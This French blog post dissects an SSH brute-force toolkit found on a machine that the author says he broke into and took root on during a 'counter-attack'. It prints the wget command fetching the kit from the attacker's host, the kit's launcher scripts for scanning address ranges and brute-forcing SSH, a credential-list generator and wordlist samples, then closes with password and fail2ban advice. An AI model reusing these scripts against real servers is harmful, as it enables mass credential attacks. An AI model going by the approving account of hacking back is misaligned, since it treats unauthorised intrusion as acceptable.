Décorticage d'une petite attaque
Il y a quelques temps, plusieurs IP on essayé de brute forcer mon serveur SSH. L'attaque a vite été bloquer et la contre attaque lancé illico grâce à quelques scripts fait maison.
J'ai pus prendre le contrôle de la machine attaquante, en root tant qu'à faire...
En me baladant sur la machine, j'ai pus comprendre leur méthode d'attaque. Il m'a suffit de regarder l'activité sur la machine via un top, des process ssh-scan tournaient en boucle et occupaient toute la CPU. Un bête find m'a permis de mettre la main sur le binaire. Mieux, en fouillant les historiques de la machine savoir d'où il provenait. Un wget m'indiquant tout:
wget http://joe.sexyi.am/joe/jumHs.tgz
J'ai donc téléchargé l'archive pour analyser ça dans une VM. Et comme dans les sources le pirate a indiquer de ne pas partager, je le partage :)
Elle se compose de plusieurs fichiers tous exécutables
auto: Bourne-Again shell script text executable autogo: Bourne-Again shell script text executable autogo1: Bourne-Again shell script text executable autogo2: Bourne-Again shell script text executable common: ASCII C++ program text crack: Bourne-Again shell script text executable gen-pass.sh: Bourne-Again shell script text executable go: Bourne-Again shell script text executable goeth1: Bourne-Again shell script text executable goeth2: Bourne-Again shell script text executable mass: Bourne-Again shell script text executable pass_file: ASCII C++ program text pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped screen: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped ssh-scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, stripped start: Bourne-Again shell script text executable vuln.txt: empty
Les scripts auto* ne sont que des lanceurs d'une autre commande fessant le bruteforce en prenant une IP en paramètre
auto:
#!/bin/bash
./start $1.0 ./start $1.1 ./start $1.2 ./start $1.3 ./start $1.4 ...
autogo:
#!/bin/bash
./go $1.0 ./go $1.1 ./go $1.2 ./go $1.3 ...
autogo1:
#!/bin/bash
./goeth1 $1.0 ./goeth1 $1.1 ./goeth1 $1.2 ./goeth1 $1.3 ...
autogo2:
#!/bin/bash
./goeth2 $1.0 ./goeth2 $1.1 ./goeth2 $1.2 ...
common est une wordlist:
000 0000 00000 .. brothel bruce bruno bryan bryce bryn bsd bumbling
crack un autre script shell:
echo "${RED} Private!${RES} " echo "${WHI} **************************${RES} " echo "${RED} Powered By JuMpEr${DWHI}" rm -rf mfu.txt sleep 5 echo "$1" > mfu.txt oopsnr2=`grep -c . mfu.txt` sleep 5 sleep 2 ./ssh-scan 270 echo " " echo " " echo " " rm -rf *.pscan.22
gen-pass.sh:
#!/bin/bash
users=$1; pass=$2;
if [ ! -f "$users" -o ! -f "$pass" ] ; then echo "File not found"; exit; fi
rm -f pass_file
for m_user in $(cat $users) ; do for m_pass in $(cat $pass) ; do echo "$m_user $ m_pass" >>pass_file done done
go:
echo "${RED} Private!${RES} " echo "${WHI} **************************${RES} " echo "${RED} Powered By JuMpEr${BLK}" ./ss 22 -b $1 -i eth0 -s 7 sleep 7 cat bios.txt |sort | uniq > mfu.txt oopsnr2=`grep -c . mfu.txt` echo "${RED} Found: ${WHI}$oopsnr2${RED} Servers ${RES} " sleep 5 echo "${RED} BruteForce: ${GRN} " ./ssh-scan 270 sleep 15 rm -rf mfu.txt bios.txt echo " " echo " " echo " " echo " " echo " "
goeth1 même chose que le script go avec juste cette ligne qui change:
./ss 22 -b $1 -i eth1 -s 7
goeth2 pareil
./ss 22 -b $1 -i eth2 -s 7
mass un autre lanceur:
#!/bin/bash
./start $1.255 ./start $1.254 ./start $1.253 ./start $1.252 ./start $1.251
passfile une wordlist:
root ASTA-NU-E-BUN root redhat root 7hur@y@t3am$#@!(*( root lolitanebuna root shit ...
pscan2: un scanner de port, appeller comme ceci:
# ./pscan2 188.61 22
Il copiera les IP des serveurs possédant le port 22 en écoute dans un fichier 188.61.pscan.22
screen: L'outil screen pour sauvegarder et restaurer ses sessions shell.
ss: Ce binaire va juste ce contenter de vérifier la présence d'un serveur SSH sur le port 22. Si oui mettrait l'ip dans bios.txt.
ssh-scan: bruteforce ssh, il va parcourir le fichier mfut.txt et lancer en background les attaques.
start:
echo "${RED} Private!${RES} " echo "${WHI} **************************${RES} " echo "${RED} Powered By JuMpEr${DWHI}" rm -rf *.pscan.22 mfu.txt sleep 1 ./pscan2 $1 22 sleep 5 cat $1.pscan.22 |sort |uniq > mfu.txt oopsnr2=`grep -c . mfu.txt` echo "${RED} Found: ${WHI}$oopsnr2${RED} Servers ${RES} " sleep 5 echo "${RED} BruteForce: ${GRN} " ./ssh-scan 270 sleep 15 rm -rf mfu.txt *.pscan.22 echo " " echo " " echo " " echo " " echo " "
Et vuln.txt qui contiendra les IP piraté avec le compte et le pass. Pas la peine de demander, je ne mettrai pas son contenu :)
Bref à l'heure au j'écris ses lignes, je suis tombé sur une trentaine de serveurs qui utilisent cette méthode pour tenter des prises de contrôle hasardeuses. Et malgrès la simplicité apparente (ces pirates auraient besoin de cours de programmation...), ils arrivent à prendre le contrôle d'un paquet de machines. J'ai déjà vu des vuln.txt de plusieurs centaines de MO contenant les comptes d'accès de switchs d'universités et même des URL en .gov ...
Comme toujours, la partie la plus importante de la sécurité, c'est de bons mots de passe!
On peut aussi bloquer simplement les attaques de bruteforce avec fail2ban. Très simple à utiliser et à configurer.